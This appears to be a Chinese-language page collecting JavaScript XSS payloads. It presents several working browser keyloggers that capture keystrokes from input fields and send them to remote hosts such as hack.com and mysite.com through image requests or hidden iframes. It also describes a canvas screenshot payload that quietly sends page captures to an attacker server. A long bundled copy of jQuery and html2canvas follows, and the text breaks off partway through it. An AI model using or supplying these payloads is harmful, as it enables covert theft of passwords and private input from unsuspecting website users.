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简单的键盘记录键盘

一个非常简单的键盘记录程序,可捕获击键并将其每秒发送到外部php页面。JS和PHP代码在归档中提供。

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JS代码

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var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://hack.com/keylogger.php?c='+keys;
keys = '';
}, 1000);

Javascript键盘记录

一个先进的,提供妥协的主机的IP地址,并确定在哪个文本字段的内容类型,即使你从一个字段切换到另一个字段! 发布压缩版本和服务器收集被盗击键:一个Windows二进制和一个Python脚本。 这个键盘记录器绝对是JS键盘记录的参考。

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JS代码

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var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;

function hookInputs() {
var frame = document.getElementById('overlayFrame');

var keyPressScript =
'<script>' +
'var l = Math.random().toString().substring(2);' +
'function relayKeyPress(e) {' +
'var fc = document.getElementById("frameContainer");' +
'var x = String.fromCharCode(e.keyCode);' +
'var y = String.fromCharCode(e.which);' +
'var k = e.keyCode ? x : y;' +
'var f = \'' + destination +
'\' + escape(k) + \',\' + ' +
'(e.srcElement ? e.srcElement.id : e.target.id) + ' +
'\',\' + l;' +
'fc.src = f;' +
'};' +
'</\x73cript>';

var iframe = '<iframe id="frameContainer" style="display:none;"></iframe>';

var sourceDoc = useClone ? frame.contentDocument : document;

var html = sourceDoc.getElementsByTagName('html')[0].innerHTML;

html = html.replace(/<head([^>]*)>/i, '<head $1>' + keyPressScript);
html = html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);
html = html.replace(/<input/gi, '<input onkeypress="relayKeyPress(event)" ');

document.clear();
document.write(html);
}

window.onload = function() {
if (destination == null) {
alert('destination not set');

return;
}

if (useClone) {

if (cloneSource == null) {
alert('cloneSource not set');
return;
}

document.body.innerHTML +=
'<iframe style="display:none;" id="overlayFrame" src="' +
cloneSource + '"></iframe>';

setTimeout("hookInputs()", cloneDelay);
}
else
hookInputs();
};

会话感知键盘记录

感谢设置为cookie的ID的用户会话之后的键盘记录程序。捕获的数据存储在数据库中,其中包含与用户会话相关的信息,源URL等。

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Js代码

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/*
* Dear all, this is a Keylogger designed by Victor Kabdebon in 2011
* To get the last version and more visit : http://www.voxnucleus.fr and/or http://www.victorkabdebon.com
*
* Bonjour a tous, voici un keylogger, fait par Victor Kabdebon en 2011
* Pour avoir la derniere version et bien plus, visitez : http://www.voxnucleus.fr and/or http://www.victorkabdebon.com
*
* License : GPL v2
* Version : 0.1
*/


/*
* Keylogger object
*/
function Keylogger(){
//Bufers


/*
* Configuration of the keylogger
******
* track_keys : True if one wants to track the key pressed
* track_mouse : True if one wants to track the movements of mouse
* track_clicks : true if one wants to track the click
* send_interval_s : interval to send the request to the server (in second)
* distant_server : address of the server
* cookie_name : Name of the cookie in the browser
* cookie_lifetime : Lifetime of the cookie in days
*/
this.keylog_configuration={
track_keys: true,
track_mouse: true,
track_clicks:true,
send_interval_s:10,
distant_server:'http://www.victorkabdebon.com/projects/keylogger/receiver.php5',
cookie_name:'keylog-cook',
cookie_lifetime:1
};
/*
* Function that generates a GUID (but not a strong one)
*/
this.S4=function() {
return (((1+Math.random())*0x10000)|0).toString(16).substring(1);
};

/*
* Constructor-like function
* Initialize elements to the right values
*/
this.begin=function(){

var guid_in_cookies;
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==this.keylog_configuration.cookie_name)
{
guid_in_cookies= unescape(y);
}
}

if(guid_in_cookies!=null && guid_in_cookies.length >0){
this.guid=guid_in_cookies;
}
else{
/* Create the GUID */
this.guid= (this.S4()+this.S4()+"-"+this.S4()+"-"+
this.S4()+"-"+this.S4()+"-"+this.S4()+
this.S4()+this.S4());

/* Cookie setup*/
var exdate = new Date();
var exdays = this.keylog_configuration.cookie_lifetime;
exdate.setDate(exdate.getDate() +exdays );

var c_value=escape(this.guid) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=this.keylog_configuration.cookie_name + "=" + c_value;
}
this.from_page=encodeURIComponent(window.location.href);
this.transfer_buffer();
//alert("Method had been called" + this.property1);
};
/*
* Insert a key
*/
this.insert_key=function(event){
var new_char='';
if(event.altKey){
new_char = '{{Alt}}';
}else if(event.ctrlKey){
new_char = '{{Ctrl}}';
}else if(event.shiftKey){
new_char = '{{Shift}}';
}
if(event.keyCode!=null){
if(event.keyCode){
new_char=new_char+this.decodeChar(event.keyCode);
}else{
new_char=new_char+this.decodeChar(event.charCode);
}
}

this.buffer_text_current=this.buffer_text_current+new_char;
};

/*
* Decode special characters.
*/
this.decodeChar=function(code){
var charac;
switch(code){
case 8:
charac='{{Backspace}}';
break;
case 9:
charac='{{Tab}}';
break;
case 13:
charac='{{Enter}}';
break;
case 33:
break;
case 37:
charac='{{<-}}';
break;
case 38:
charac='{{up}}';
break;
case 39:
charac='{{->}}';
break;
case 40:
charac='{{down}}';
break;
case 46:
charac='{{delete}}';
break;
case 91:
charac='{{leftWindow}}';
break;
case 92:
charac='{{rightWindow}}';
break;
case 154:
charac='{{PrtScreen}}';
break;
default:
charac=String.fromCharCode(code);
break;
}
return charac;
};
/*
*
*/
this.insert_click=function(event){
// Nothing at the moment
};
/*
*
*/
this.send_infos=function(){
var parameters='?frompage='+this.from_page;
parameters =parameters + '&guid='+this.guid;
parameters = parameters + '&text='+encodeURIComponent(this.buffer_text_to_send);
var address_to_call=this.keylog_configuration.distant_server+parameters;
//We just preload the image without actually inserting it
image01= new Image();
image01.src=address_to_call;
};
/*
* Swap values
*/
this.transfer_buffer=function(){
this.buffer_text_to_send=this.buffer_text_current;
this.buffer_text_current='';
this.send_infos();

var t = setTimeout('logger.transfer_buffer()',this.keylog_configuration.send_interval_s*1000);
};


this.buffer_text_current='[Begin session]',
this.buffer_text_to_send='',
//Important information
this.guid='UNDEFINED',
this.from_page='UNDEFINED';


}
var logger = new Keylogger();
/*
* Launch the logger
*/
function launch(){
logger.begin();
//binding for key pressed
if(logger.keylog_configuration.track_keys){
if (navigator.appName == 'Microsoft Internet Explorer')
{
document.body.attachEvent('onkeypress',process_key);
}else{
//Binding for everything but ie
document.addEventListener('keypress',process_key,false);

//document.body.setAttribute('onKeyPress','Keylogger.insert_key(event)');
}
}
//Binding for click
if(logger.keylog_configuration.track_clicks){
//Binding for everything but ie
//document.body.setAttribute('onclick','Keylogger.insert_click(event)');
}
}

function process_key(event){
logger.insert_key(event);
}

JQuery键盘记录键盘

一旦加载jQuery,一行(长)会写一个键盘记录器。像往常一样,捕获的密钥在制作的URL的查询字符串中发送。 在许多情况下可能有用。

JS代码

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$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&t='+event.timeStamp,function(data){});});

HTML5截图

HTML5 Canvas允许您快速渲染(客户端)客户端浏览器的精确截图,并使用Ajax将其返回给攻击者控制的服务器。这个有效载荷的目的是做一个截图,并悄悄地发送到一个PHP文件(在档案中可用),将其存储到一个不错的PNG文件。 该有效负载将几个JS组件(JQuery,HTMLCanvas
JQueryHTMLCanvas插件)合并为一个单独的(巨大的)文件。

附件下载

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JS代码

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// URL: http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas

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this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(cu("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]),h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cv(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cn.test(h)?(o=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),o?(f._data(this,"toggle"+i,o==="show"?"hide":"show"),j[o]()):j[h]()):(k=co.exec(h),l=j.cur(),k?(m=parseFloat(k[2]),n=k[3]||(f.cssNumber[i]?"":"px"),n!=="px"&&(f.style(this,i,(m||1)+n),l=(m||1)/j.cur()*l,f.style(this,i,l+n)),k[1]&&(m=(k[1]==="-="?-1:1)*m+l),j.custom(l,m,n)):j.custom(l,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:cu("show",1),slideUp:cu("hide",1),slideToggle:cu("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cr||cs(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){e.options.hide&&f._data(e.elem,"fxshow"+e.prop)===b&&f._data(e.elem,"fxshow"+e.prop,e.start)},h()&&f.timers.push(h)&&!cp&&(cp=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cr||cs(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cp),cp=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(["width","height"],function(a,b){f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)}}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cy(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel&&g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel&&g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);var c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)&&b!==i&&b!==h){if(f.support.fixedPosition&&k.position==="fixed")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d&&(l+=b.offsetTop,m+=b.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(b.nodeName))&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&c.overflow!=="visible"&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position==="relative"||k.position==="static")l+=i.offsetTop,m+=i.offsetLeft;f.support.fixedPosition&&k.position==="fixed"&&(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);


/**
@license html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License
*/

(function(window, document, undefined){

/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License
*/

var html2canvas = {};

html2canvas.logging = false;

function h2clog(a) {
if (html2canvas.logging && window.console && window.console.log) {
window.console.log(a);
}
}

html2canvas.log = h2clog; // for compatibility with the jquery plugin

html2canvas.Util = {};

html2canvas.Util.backgroundImage = function (src) {

if (/data:image\/.*;base64,/i.test( src ) || /^(-webkit|-moz|linear-gradient|-o-)/.test( src )) {
return src;
}

if (src.toLowerCase().substr( 0, 5 ) === 'url("') {
src = src.substr( 5 );
src = src.substr( 0, src.length - 2 );
} else {
src = src.substr( 4 );
src = src.substr( 0, src.length - 1 );
}

return src;
};

html2canvas.Util.Bounds = function getBounds (el) {
var clientRect,
bounds = {};

if (el.getBoundingClientRect){
clientRect = el.getBoundingClientRect();


// TODO add scroll position to bounds, so no scrolling of window necessary
bounds.top = clientRect.top;
bounds.bottom = clientRect.bottom || (clientRect.top + clientRect.height);
bounds.left = clientRect.left;

// older IE doesn't have width/height, but top/bottom instead
bounds.width = clientRect.width || (clientRect.right - clientRect.left);
bounds.height = clientRect.height || (clientRect.bottom - clientRect.top);

return bounds;

} /*else{


p = $(el).offset();

return {
left: p.left + getCSS(el,"borderLeftWidth", true),
top: p.top + getCSS(el,"borderTopWidth", true),
width:$(el).innerWidth(),
height:$(el).innerHeight()
};


} */
}

html2canvas.Util.getCSS = function (el, attribute) {
// return jQuery(el).css(attribute);
/*
var val,
left,
rsLeft = el.runtimeStyle && el.runtimeStyle[ attribute ],
style = el.style;

if ( el.currentStyle ) {
val = el.currentStyle[ attribute ];
} else if (window.getComputedStyle) {
val = document.defaultView.getComputedStyle(el, null)[ attribute ];
}
*/
// Check if we are not dealing with pixels, (Opera has issues with this)
// Ported from jQuery css.js
// From the awesome hack by Dean Edwards
// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291

// If we're not dealing with a regular pixel number
// but a number that has a weird ending, we need to convert it to pixels

// if ( !/^-?\d+(?:px)?$/i.test( val ) && /^-?\d/.test( val ) ) {
/*
// Remember the original values
left = style.left;

// Put in the new values to get a computed value out
if ( rsLeft ) {
el.runtimeStyle.left = el.currentStyle.left;
}
style.left = attribute === "fontSize" ? "1em" : (val || 0);
val = style.pixelLeft + "px";

// Revert the changed values
style.left = left;
if ( rsLeft ) {
el.runtimeStyle.left = rsLeft;
}*/
// val = $(el).css(attribute);
// }

/*
var val = $(el).css(attribute);

if (val === "medium") {
val = 3;
}*/

return $(el).css(attribute);


};

html2canvas.Util.Extend = function (options, defaults) {
var key;
for (key in options) {
if (options.hasOwnProperty(key)) {
defaults[key] = options[key];
}
}
return defaults;
};

html2canvas.Util.Children = function(el) {
// $(el).contents() !== el.childNodes, Opera / IE have issues with that
var children;
try {
children = $(el).contents();
} catch (ex) {
h2clog("html2canvas.Util.Children failed with exception: " + ex.message);
children = [];
}
return children;
};

/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License
*/

html2canvas.Generate = {};



html2canvas.Generate.Gradient = function(src, bounds) {
var canvas = document.createElement('canvas'),
ctx = canvas.getContext('2d'),
tmp,
p0 = 0,
p1 = 0,
p2 = 0,
p3 = 0,
steps = [],
position,
i,
len,
lingrad,
increment,
p,
img;

canvas.width = bounds.width;
canvas.height = bounds.height;


function getColors(input) {
var j = -1,
color = '',
chr;

while( j++ < input.length ) {
chr = input.charAt( j );
if (chr === ')') {
color += chr;
steps.push( color );
color = '';
while (j++ < input.length && input.charAt( j ) !== ',') {
}
} else {
color += chr;
}
}
}

if ( tmp = src.match(/-webkit-linear-gradient\((.*)\)/) ) {

position = tmp[1].split( ",", 1 )[0];
getColors( tmp[1].substr( position.length + 2 ) );
position = position.split(' ');

for (p = 0; p < position.length; p+=1) {

switch(position[p]) {
case 'top':
p3 = bounds.height;
break;

case 'right':
p0 = bounds.width;
break;

case 'bottom':
p1 = bounds.height;
break;

case 'left':
p2 = bounds.width;
break;
}

}

} else if (tmp = src.match(/-webkit-gradient\(linear, (\d+)[%]{0,1} (\d+)[%]{0,1}, (\d+)[%]{0,1} (\d+)[%]{0,1}, from\((.*)\), to\((.*)\)\)/)) {

p0 = (tmp[1] * bounds.width) / 100;
p1 = (tmp[2] * bounds.height) / 100;
p2 = (tmp[3] * bounds.width) / 100;
p3 = (tmp[4] * bounds.height) / 100;

steps.push(tmp[5]);
steps.push(tmp[6]);

} else if (tmp = src.match(/-moz-linear-gradient\((\d+)[%]{0,1} (\d+)[%]{0,1}, (.*)\)/)) {

p0 = (tmp[1] * bounds.width) / 100;
p1 = (tmp[2] * bounds.width) / 100;
p2 = bounds.width - p0;
p3 = bounds.height - p1;
getColors( tmp[3] );

} else {
return;
}

lingrad = ctx.createLinearGradient( p0, p1, p2, p3 );
increment = 1 / (steps.length - 1);

for (i = 0, len = steps.length; i < len; i+=1) {
try {
lingrad.addColorStop(increment * i, steps[i]);
}
catch(e) {
h2clog(['failed to add color stop: ', e, '; tried to add: ', steps[i], '; stop: ', i, '; in: ', src]);
}
}

ctx.fillStyle = lingrad;

// draw shapes
ctx.fillRect(0, 0, bounds.width,bounds.height);

img = new Image();
img.src = canvas.toDataURL();

return img;

}

html2canvas.Generate.ListAlpha = function(number) {
var tmp = "",
modulus;

do {
modulus = number % 26;
tmp = String.fromCharCode((modulus) + 64) + tmp;
number = number / 26;
}while((number*26) > 26);

return tmp;
}

html2canvas.Generate.ListRoman = function(number) {
var romanArray = ["M", "CM", "D", "CD", "C", "XC", "L", "XL", "X", "IX", "V", "IV", "I"],
decimal = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1],
roman = "",
v,
len = romanArray.length;

if (number <= 0 || number >= 4000) {
return number;
}

for (v=0; v < len; v+=1) {
while (number >= decimal[v]) {
number -= decimal[v];
roman += romanArray[v];
}
}

return roman;

}

/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License
*/

/*
* New function for traversing elements
*/

html2canvas.Parse = function (element, images, opts) {
window.scroll(0,0);
opts = opts || {};

// select body by default
if (element === undefined) {
element = document.body;
}


var support = {
rangeBounds: false

},
options = {
iframeDefault: "default",
ignoreElements: "IFRAME|OBJECT|PARAM",
useOverflow: true,
letterRendering: false
},
needReorder = false,
numDraws = 0,
fontData = {},
doc = element.ownerDocument,
ignoreElementsRegExp = new RegExp("(" + options.ignoreElements + ")"),
body = doc.body,
r,
testElement,
rangeBounds,
rangeHeight,
stack,
ctx,
docDim,
i,
children,
childrenLen;

options = html2canvas.Util.Extend(opts, options);

images = images || {};

// Test whether we can use ranges to measure bounding boxes
// Opera doesn't provide valid bounds.height/bottom even though it supports the method.


if (doc.createRange) {
r = doc.createRange();
//this.support.rangeBounds = new Boolean(r.getBoundingClientRect);
if (r.getBoundingClientRect){
testElement = doc.createElement('boundtest');
testElement.style.height = "123px";
testElement.style.display = "block";
body.appendChild(testElement);

r.selectNode(testElement);
rangeBounds = r.getBoundingClientRect();
rangeHeight = rangeBounds.height;

if (rangeHeight === 123) {
support.rangeBounds = true;
}
body.removeChild(testElement);


}

}


/*
var rootStack = new this.storageContext($(document).width(),$(document).height());
rootStack.opacity = this.getCSS(this.element,"opacity");
var stack = this.newElement(this.element,rootStack);


this.parseElement(this.element,stack);
*/


function docSize(){

return {
width: Math.max(
Math.max(doc.body.scrollWidth, doc.documentElement.scrollWidth),
Math.max(doc.body.offsetWidth, doc.documentElement.offsetWidth),
Math.max(doc.body.clientWidth, doc.documentElement.clientWidth)
),
height: Math.max(
Math.max(doc.body.scrollHeight, doc.documentElement.scrollHeight),
Math.max(doc.body.offsetHeight, doc.documentElement.offsetHeight),
Math.max(doc.body.clientHeight, doc.documentElement.clientHeight)
)
};

}

var getCSS = html2canvas.Util.getCSS;
function getCSSInt(element, attribute) {
var val = parseInt(getCSS(element, attribute), 10);
return (isNaN(val)) ? 0 : val; // borders in old IE are throwing 'medium' for demo.html
}

// Drawing a rectangle
function renderRect (ctx, x, y, w, h, bgcolor) {
if (bgcolor !=="transparent"){
ctx.setVariable("fillStyle", bgcolor);
ctx.fillRect (x, y, w, h);
numDraws+=1;
}
}


function textTransform (text, transform) {
switch(transform){
case "lowercase":
return text.toLowerCase();

case "capitalize":
return text.replace( /(^|\s|:|-|\(|\))([a-z])/g , function (m, p1, p2) {
if (m.length > 0) {
return p1 + p2.toUpperCase();
}
} );

case "uppercase":
return text.toUpperCase();

default:
return text;

}

}

function trimText (text) {
return text.replace(/^\s*/g, "").replace(/\s*$/g, "");
}

function fontMetrics (font, fontSize) {

if (fontData[font + "-" + fontSize] !== undefined) {
return fontData[font + "-" + fontSize];
}


var container = doc.createElement('div'),
img = doc.createElement('img'),
span = doc.createElement('span'),
baseline,
middle,
metricsObj;


container.style.visibility = "hidden";
container.style.fontFamily = font;
container.style.fontSize = fontSize;
container.style.margin = 0;
container.style.padding = 0;

body.appendChild(container);



// http://probablyprogramming.com/2009/03/15/the-tiniest-gif-ever (handtinywhite.gif)
img.src = "data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACwAAAAAAQABAAACAkQBADs=";
img.width = 1;
img.height = 1;

img.style.margin = 0;
img.style.padding = 0;
img.style.verticalAlign = "baseline";

span.style.fontFamily = font;
span.style.fontSize = fontSize;
span.style.margin = 0;
span.style.padding = 0;




span.appendChild(doc.createTextNode('Hidden Text'));
container.appendChild(span);
container.appendChild(img);
baseline = (img.offsetTop - span.offsetTop) + 1;

container.removeChild(span);
container.appendChild(doc.createTextNode('Hidden Text'));

container.style.lineHeight = "normal";
img.style.verticalAlign = "super";

middle = (img.offsetTop-container.offsetTop) + 1;
metricsObj = {
baseline: baseline,
lineWidth: 1,
middle: middle
};


fontData[font + "-" + fontSize] = metricsObj;

body.removeChild(container);

return metricsObj;

}


function drawText(currentText, x, y, ctx){
if (trimText(currentText).length>0) {
ctx.fillText(currentText,x,y);
numDraws+=1;
}
}


function renderText(el, textNode, stack) {
var ctx = stack.ctx,
family = getCSS(el, "fontFamily"),
size = getCSS(el, "fontSize"),
color = getCSS(el, "color"),
text_decoration = getCSS(el, "textDecoration"),
text_align = getCSS(el, "textAlign"),
letter_spacing = getCSS(el, "letterSpacing"),
bounds,
text,
metrics,
renderList,
bold = getCSS(el, "fontWeight"),
font_style = getCSS(el, "fontStyle"),
font_variant = getCSS(el, "fontVariant"),
align = false,
newTextNode,
textValue,
textOffset = 0,
oldTextNode,
c,
range,
parent,
wrapElement,
backupText;

// apply text-transform:ation to the text



textNode.nodeValue = textTransform(textNode.nodeValue, getCSS(el, "textTransform"));
